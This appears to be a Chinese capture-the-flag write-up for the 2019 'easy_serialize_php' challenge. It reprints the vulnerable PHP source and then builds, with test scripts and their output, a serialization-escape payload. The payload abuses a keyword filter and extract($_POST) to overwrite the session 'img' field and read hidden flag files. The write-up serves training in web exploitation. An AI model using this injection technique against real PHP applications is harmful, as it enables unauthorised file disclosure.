[安洵杯 2019]easy_serialize_php

源码:
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
?>
分析1:

将’php’,‘flag’,‘php5’,‘php4’,'fl1g’等字符串置空

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
分析2:
if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

等价于:

extract($_POST);

无论输入什么都会被重置

分析3:
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

按代码顺序,无论输入什么,后面都会添加一个$_SESSION[‘img’]
分析4:

if($function == 'highlight_file'){//本页面
    highlight_file('index.php');
}else if($function == 'phpinfo'){//hint
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){//flag所在
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
知识点1:

extract()函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

知识点2:

反序列化的字符串会进行以下规则校验:

  1. 以 ; 作为字段分隔
  2. 以 } 作为结尾(字符串以 ;} 结尾)
  3. 根据长度判断内容

因此我们可以利用过滤的字符串长度,逃逸,提前闭合。

解题步骤1:

传参f=phpinfo,发现重要线索。
image.png
也就是说需要传入d0g3_f1ag.php,即需要显示的页面。

解题步骤2:

构造需要逃逸的内容

<?php
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');
$a=serialize($_SESSION);
var_dump($a);
?>

结果:

string(44) "a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

将无用的值去除

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

添加前一个键的值,该值任意

;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
解题步骤3:

加上任意键

<?php
$_SESSION['a']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a=serialize($_SESSION);
var_dump($a);
?>

结果:

string(70) "a:1:{s:1:"a";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"

如果键被过滤置空,需要将";s:48:7个字符当成键,所以应当使键向后取7个字符
即键应当被过滤7个字符,任意组合phpflag,phpfl1g等等都可。

解题步骤4:

进行过滤逃逸测试

<?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION['phpfl1g']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
$a=serialize($_SESSION);
var_dump($a);
var_dump(unserialize($a));
$b=filter($a);
var_dump($b);
var_dump(unserialize($b));
?>

结果:

string(114) "a:2:{s:7:"phpfl1g";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
array(2) {
  'phpfl1g' =>
  string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
  'img' =>
  string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(107) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
array(2) {
  '";s:48:' =>
  string(1) "1"
  'img' =>
  string(20) "ZDBnM19mMWFnLnBocA=="
}
解题步骤5:

构造playload:
_SESSION['phpfl1g']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
image.png
查看网页源代码
image.png

解题步骤6:

将需要传入的页面替换成/d0g3_fllllllag
只需将上述过程再来一遍即可。
最后发现也可以直接替换base64加密后的字符串即可
playload:
_SESSION['phpfl1g']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
image.png

相关推荐

  1. [ 2019]game & [SUCTF2018]babyre

    2024-07-11 19:12:05       52 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-11 19:12:05       66 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-11 19:12:05       70 阅读
  3. 在Django里面运行非项目文件

    2024-07-11 19:12:05       57 阅读
  4. Python语言-面向对象

    2024-07-11 19:12:05       68 阅读

热门阅读

  1. 【React Hooks原理 - useReducer】

    2024-07-11 19:12:05       19 阅读
  2. 2024.7.10 刷题总结

    2024-07-11 19:12:05       25 阅读
  3. 什么是逻辑运算中的短路效应?

    2024-07-11 19:12:05       22 阅读
  4. 开发指南043-自定义注解

    2024-07-11 19:12:05       24 阅读
  5. C语言 比较两个字符串

    2024-07-11 19:12:05       20 阅读
  6. Andt Desgin Vue Pro 项目添加前缀访问解决

    2024-07-11 19:12:05       17 阅读
  7. MDA协议

    2024-07-11 19:12:05       23 阅读
  8. Spring Boot中集成DJL运行Python PyTorch模型:MNIST实战

    2024-07-11 19:12:05       18 阅读
  9. GraphSAGE项目练手

    2024-07-11 19:12:05       22 阅读